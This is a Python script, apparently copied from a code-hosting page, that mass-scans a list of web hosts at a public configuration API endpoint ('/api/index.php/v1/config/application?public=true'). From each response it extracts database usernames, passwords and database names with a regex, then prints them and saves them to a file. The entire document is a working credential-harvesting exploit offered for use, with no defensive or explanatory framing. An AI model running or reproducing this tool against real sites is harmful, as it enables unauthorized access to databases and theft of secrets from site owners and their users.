68 lines
3.2 KiB
Python
68 lines
3.2 KiB
Python
import argparse
|
|
import re
|
|
from typing import List, Tuple, Optional
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
|
|
import requests
|
|
|
|
|
|
class URLScanner:
|
|
def __init__(self, url_list: List[str], output_file: Optional[str], endpoint: str = "/api/index.php/v1/config/application?public=true", timeout: int = 2, max_threads: int = 10) -> None:
|
|
self.url_list: List[str] = url_list
|
|
self.output_file: Optional[str] = output_file
|
|
self.regex: re.Pattern = re.compile(r'"user":"(.*?)".*?"password":"(.*?)".*?"db":"(.*?)"')
|
|
self.endpoint: str = endpoint
|
|
self.timeout: int = timeout
|
|
self.max_threads: int = max_threads
|
|
|
|
def scan_url(self, url: str) -> None:
|
|
try:
|
|
response = requests.get(f"http://{url}{self.endpoint}", timeout=self.timeout)
|
|
|
|
if response.ok:
|
|
match = self.regex.search(response.text)
|
|
if match:
|
|
user, password, db = match.groups()
|
|
if user and password and db:
|
|
print(f"[+] => Vulnerable {url}")
|
|
print(f"User: {user} Password: {password} Database: {db}")
|
|
if self.output_file:
|
|
with open(self.output_file, "a+") as f:
|
|
f.write(f"{url} user:{user} password:{password} database:{db}\n")
|
|
print(f"File Saved => {self.output_file}")
|
|
else:
|
|
print(f"[-] => User, password, or database is empty for {url}")
|
|
else:
|
|
print(f"[-] => Not Vulnerable {url}")
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[-] => Error occurred for {url}: {e}")
|
|
|
|
def scan(self) -> None:
|
|
with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
|
|
futures = []
|
|
for url in self.url_list:
|
|
futures.append(executor.submit(self.scan_url, url))
|
|
|
|
for future in as_completed(futures):
|
|
future.result()
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
url_group = parser.add_mutually_exclusive_group(required=True)
|
|
url_group.add_argument("-u", "--url", type=str, help="URL to scan")
|
|
url_group.add_argument("-f", "--file", type=str, help="Path to the file containing URLs to scan")
|
|
parser.add_argument("-o","--output_file", type=str, help="Path to the output file (optional)")
|
|
parser.add_argument("-e","--endpoint", type=str, default="/api/index.php/v1/config/application?public=true", help="Endpoint to scan (default: /api/index.php/v1/config/application?public=true)")
|
|
parser.add_argument("-t","--timeout", type=int, default=2, help="Timeout in seconds (default: 2)")
|
|
parser.add_argument("-m","--max_threads", type=int, default=10, help="Maximum number of threads (default: 10)")
|
|
args = parser.parse_args()
|
|
|
|
if args.url:
|
|
url_list: List[str] = [args.url]
|
|
else:
|
|
with open(args.file) as f:
|
|
url_list: List[str] = [line.strip() for line in f.readlines()]
|
|
|
|
scanner: URLScanner = URLScanner(url_list, args.output_file, endpoint=args.endpoint, timeout=args.timeout, max_threads=args.max_threads)
|
|
scanner.scan()
|